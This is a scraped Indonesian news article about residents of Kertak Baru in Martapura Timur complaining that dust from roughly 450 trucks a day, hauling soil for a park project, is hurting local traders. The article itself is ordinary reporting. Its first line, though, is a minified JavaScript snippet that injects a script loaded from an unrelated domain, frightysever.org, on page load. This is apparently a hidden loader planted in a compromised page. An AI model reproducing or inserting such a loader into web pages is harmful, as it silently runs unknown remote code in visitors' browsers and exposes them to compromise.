(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Debu Lalu Lalang Truk Proyek Taman Ini Dikeluhkan Warga


MARTAPURA, Warga jalan Kertak Baru, Kampung Keramat, Kecamatan Martapura Timur, keluhkan debu yang mengotori lingkungan rumah sekitar mereka. Akibat lalu lalang truk pengangkut material tanah proyek taman yang meninggalkan debu di jalan tersebut.

“Sudah 10 hari proyek pembangunan taman itu dijalankan, warga mencatat sehari ada sekitar 450 truk pengangkut tanah yang mondar mandir dari jam sembilan hingga jam lima sore,” ungkap salah satu pedagang beras Muhammad Rifai.

Omset pendapatan penjualan beras mikinya pun diakui turun drastik. “Orang jadi malas membeli karena beranggapan beras yang saya jual kotor dan berdebu, beras yang saya jual pun menguning karena tercampur debu,” bebernya.Uuntuk mengsiasatinya debu yang masuk ke dagangan saat ini, terpaksa beras ditutupi plastik transparan.

Dalam situasi yang sama pedagang pakaian wanita, Sa’diah juga mengeluhkan hal serupa kepada KanalKalimantan.

“Saya terpaksa berdagang di dalam toko saja, itu pun setengah pintu toko ditutup untuk menghindari debu yang bisa menempel di pakaian yang dipajang,” ungkapnya.

Sebelumnya ia menaruh pakaian di luar toko untuk menarik perhatian konsumen, namun sekarang tidak bisa lagi karena takut kotor dan mengurangi nilai beli pakaian tersebut.

Memang diakuinya, dalam sehari memang ada dua kali dilakukan penyemprotan jalan dengan menggunakan air oleh pekerja proyek taman itu. Tapi penyiraman air itu dianggap kurang efektif jika hanya 2 kali sehari disiram. “Karena jalan cepat kering, debu berterbangan lagi,” ungkap warga yang membuka bengkel.

Warga pun memilih melakukan penyiraman air mengurangi dampak debu jalan tersebut. Informasi warga sekitar proyek pembangunan taman dengan luas lahan 1 hektare akan berlangsung sekitar satu bulan. Dalam keadaan tersebut warga meminta mimimal 2 jam sekali dilakukan penyiraman air agar tidak timbulkan debu. Dan aktivitas truk pengangkut tanah dilakulan pada malam hari. (rendy)

Reporter: rendy
Editor: Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Jurnalisme Hijau di Era Digital: Membumikan Kompleksitas Isu Lingkungan Agar Tak Membosankan

KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More

4 jam ago

Masuk Masa Tenang, APK Paslon di Banjarbaru Dibersihkan

KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More

5 jam ago

Bawaslu Kalsel Segera Plenokan Dugaan Pelanggaran Paslon Syaifullah-Habib Ahmad

KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More

5 jam ago

Deteksi Dini Kesehatan IVA Test dan Sadanis di Puskesmas Sungai Malang

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More

6 jam ago

Uji Tanding 7 Cabor Bapor Korpri HSU Vs Bapor Korpri Paser

KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More

10 jam ago

Juara di Singapore Open Dance Championship 2024, Frem Harumkan Nama Indonesia

KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More

10 jam ago

This website uses cookies.